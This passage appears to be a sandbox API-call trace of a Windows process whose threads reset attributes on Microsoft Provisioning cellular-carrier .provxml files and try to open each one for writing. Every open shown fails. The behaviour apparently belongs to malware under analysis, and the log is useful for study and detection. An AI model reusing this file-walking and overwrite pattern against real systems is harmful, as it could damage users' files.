(lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\450__connections_cellular_kktcell (turkey)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.518] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.518] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\450__connections_cellular_kktcell (turkey)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.518] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\450__Connections_Cellular_KKTCELL (Turkey)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.518] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8fca8) returned 1 [0181.518] RtlExitUserThread (Status=0x0) Thread: id = 3040 os_tid = 0xee8 [0180.828] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\451__connections_cellular_turkcell (turkey)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.961] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.961] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\451__connections_cellular_turkcell (turkey)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.965] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.965] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f900b0) returned 1 [0180.965] RtlExitUserThread (Status=0x0) Thread: id = 3041 os_tid = 0xeec [0180.828] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\452__connections_cellular_turkcell (turkey)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.961] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.962] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\452__connections_cellular_turkcell (turkey)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.965] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8fe00) returned 1 [0180.966] RtlExitUserThread (Status=0x0) Thread: id = 3042 os_tid = 0xef0 [0180.829] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\453__connections_cellular_turkcell (turkey)_i2$(__mvid)@wap.provxml")) returned 0x20 [0180.962] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.962] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\453__connections_cellular_turkcell (turkey)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.962] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.962] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90208) returned 1 [0180.962] RtlExitUserThread (Status=0x0) Thread: id = 3043 os_tid = 0xef4 [0180.829] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\454__connections_cellular_vodafone tr (turkey)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.444] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.444] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\454__connections_cellular_vodafone tr (turkey)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.444] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.444] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe25b8) returned 1 [0181.444] RtlExitUserThread (Status=0x0) Thread: id = 3044 os_tid = 0xef8 [0180.829] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\455__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0181.519] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.519] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\455__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.519] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.519] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054bd8) returned 1 [0181.519] RtlExitUserThread (Status=0x0) Thread: id = 3045 os_tid = 0xea8 [0181.258] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\456__connections_cellular_vf kktc telsim (cyprus)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.442] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.442] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\456__connections_cellular_vf kktc telsim (cyprus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.443] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.443] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1da8) returned 1 [0181.443] RtlExitUserThread (Status=0x0) Thread: id = 3046 os_tid = 0x5fc [0181.259] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\457__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0181.441] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.441] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\457__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.441] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.441] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054e48) returned 1 [0181.441] RtlExitUserThread (Status=0x0) Thread: id = 3047 os_tid = 0x13ac [0181.259] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\458__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.440] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.440] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\458__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.440] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.440] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30589e8) returned 1 [0181.440] RtlExitUserThread (Status=0x0) Thread: id = 3048 os_tid = 0x13b0 [0181.259] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\459__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml")) returned 0x20 [0181.439] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.439] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\459__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.439] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.439] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3059350) returned 1 [0181.439] RtlExitUserThread (Status=0x0) Thread: id = 3049 os_tid = 0x82c [0181.260] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\45__connections_cellular_orange (belgium)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.437] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.438] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\45__connections_cellular_orange (belgium)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.438] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\45__Connections_Cellular_ORANGE (Belgium)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.438] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02c10) returned 1 [0181.438] RtlExitUserThread (Status=0x0) Thread: id = 3050 os_tid = 0x600 [0181.260] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\460__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml")) returned 0x20 [0181.436] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.436] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\460__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.436] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.437] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058890) returned 1 [0181.437] RtlExitUserThread (Status=0x0) Thread: id = 3051 os_tid = 0xaec [0181.261] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\461__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml")) returned 0x20 [0181.435] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.435] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\461__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.435] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.435] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30598b0) returned 1 [0181.435] RtlExitUserThread (Status=0x0) Thread: id = 3052 os_tid = 0x838 [0181.261] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\462__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml")) returned 0x20 [0181.384] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.384] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\462__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.384] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.384] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058b40) returned 1 [0181.384] RtlExitUserThread (Status=0x0) Thread: id = 3053 os_tid = 0x834 [0181.262] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\463__connections_cellular_astelit (ukraine)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.383] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.383] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\463__connections_cellular_astelit (ukraine)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.383] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.383] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058738) returned 1 [0181.383] RtlExitUserThread (Status=0x0) Thread: id = 3054 os_tid = 0xc20 [0181.262] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\464__connections_cellular_umc (ukraine)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.382] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.382] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all 